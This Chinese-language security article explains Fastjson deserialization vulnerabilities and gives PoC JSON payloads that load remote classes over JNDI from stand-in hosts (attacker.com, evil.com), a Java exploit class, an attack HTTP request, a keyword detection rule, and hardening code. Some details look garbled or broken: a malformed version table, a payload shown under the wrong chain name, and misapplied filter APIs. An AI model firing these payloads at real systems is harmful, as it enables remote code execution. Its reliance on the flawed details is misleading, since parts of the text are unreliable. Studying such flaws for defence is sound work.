Fastjson 漏洞案例深度分析
Fastjson 1.2.24 远程命令执行漏洞 (CVE-2017-18349)
漏洞原理
Fastjson在处理JSON字符串时,会调用对象的setter方法进行属性赋值,攻击者可以通过构造特殊的JSON字符串,利用@type指定恶意类,触发AutoType机制加载远程类,最终实现远程命令执行。

漏洞复现
环境准备:
- Fastjson 1.2.24
- Java 8
- 远程服务器(用于托管恶意class文件)
POC示例:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com:1099/Exploit",
"autoCommit": true
}
攻击流程:
- 攻击者在远程服务器部署恶意Exploit.class文件
- 启动RMI/LDAP服务指向该class文件
- 向目标发送恶意JSON请求
- 目标服务器解析时触发JdbcRowSetImpl的dataSourceName属性设置
- 通过JNDI注入加载远程类执行恶意代码
防御代码:
// 关闭AutoType或设置白名单
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 或使用白名单方式
ParserConfig.getGlobalInstance().addAccept("com.whitelist.");
Fastjson 1.2.47 绕过漏洞
漏洞特点
通过在JSON中加入特殊结构,利用@type + @class组合,绕过1.2.47版本的AutoType限制。
POC示例:
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
}
结合案例
// 低版本Fastjson的反序列化攻击
import com.alibaba.fastjson.JSON;
public class Exploit {
public static void main(String[] args) {
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";
JSON.parse(json);
}
}
真实业务场景案例
案例1:电商系统提权漏洞
场景描述: 某电商系统使用Fastjson解析用户JSON数据,未限制AutoType导致越权。
攻击过程:
- 注册时发送JSON:
{"username":"test","role":"user"} - 攻击者构造:
{"@type":"com.example.User","username":"admin","role":"admin"} - 系统反序列化后直接使用该对象,绕过管理员权限判断
修复方案:
// 使用@type白名单
ParserConfig config = new ParserConfig();
config.setAutoTypeCheckHandler(new AutoTypeCheckHandler() {
@Override
public Class<?> handler(String typeName, Class<?> expectClass, int features) {
if (!typeName.startsWith("com.whitelist.")) {
throw new JSONException("autoType is not support");
}
return null;
}
});
案例2:中间件RCE漏洞
场景描述: 某企业使用Fastjson作为Spring Boot的HTTP Message Converter,导致RCE。
攻击向量:
POST /api/data HTTP/1.1
Content-Type: application/json
Host: target.com
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "rmi://evil.com/Exploit"
}
利用TemplatesImpl链:
// 通过TemplatesImpl链绕过
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"asText": "ldap://evil.com/Exploit"
}
安全配置最佳实践
白名单配置
// Fastjson 1.2.68+版本推荐
ParserConfig.getGlobalInstance().addAccept("com.whitelist.");
ParserConfig.getGlobalInstance().addAccept("org.springframework.security.");
// 或完全禁用AutoType
System.setProperty("fastjson.parser.autoTypeSupport", "false");
全局安全过滤器
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.deserializer.ObjectDeserializer;
public class SecureParserConfig {
static {
// 关闭AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 添加自定义检查
ParserConfig.getGlobalInstance().addFilter(new SafeFilter());
}
}
class SafeFilter implements com.alibaba.fastjson.serializer.SerializeFilter {
// 实现具体的过滤逻辑
}
输入验证
// 对JSON字符串进行预检查
public boolean isSafeJson(String jsonStr) {
try {
// 解析前进行关键字检查
if (jsonStr.contains("@type") && !isWhitelistedType(jsonStr)) {
return false;
}
// 使用安全的Parse配置
JSONObject obj = JSON.parseObject(jsonStr, Feature.DisableSpecialKeyDetect);
return true;
} catch (Exception e) {
return false;
}
}
检测与应急响应
日志检测规则
// 检测恶意请求的日志模式
if (logMessage.contains("@type") ||
logMessage.contains("JdbcRowSetImpl") ||
logMessage.contains("TemplatesImpl")) {
// 触发告警
alertSecurityTeam(logMessage);
}
漏洞检测工具
# 使用fastjson-checker工具 java -jar fastjson-checker.jar -u http://target.com/api
版本升级建议
| Fastjson版本 | 安全性 | 推荐使用场景 |
|---|---|---|
| ≤1.2.24 | 高危 | 立即升级 |
| 2.25-1.2.47 | 中危 | 建议升级 |
| 2.68+ | 低危 | 推荐使用 |
| 2.83+ | 安全 | 最新稳定版 |
关键防御措施总结
- 及时升级:始终使用最新的Fastjson版本
- 关闭AutoType:默认禁用,需要时使用白名单
- 输入验证:对JSON输入进行严格校验
- 最小权限:应用程序使用最小权限运行
- 安全配置:启用SafeMode和黑名单
- 监控告警:实时监控异常JSON解析请求
通过以上案例和实践,可以系统性地理解和防御Fastjson相关的安全风险,在实际开发中,建议始终遵循安全最佳实践,及时更新依赖库。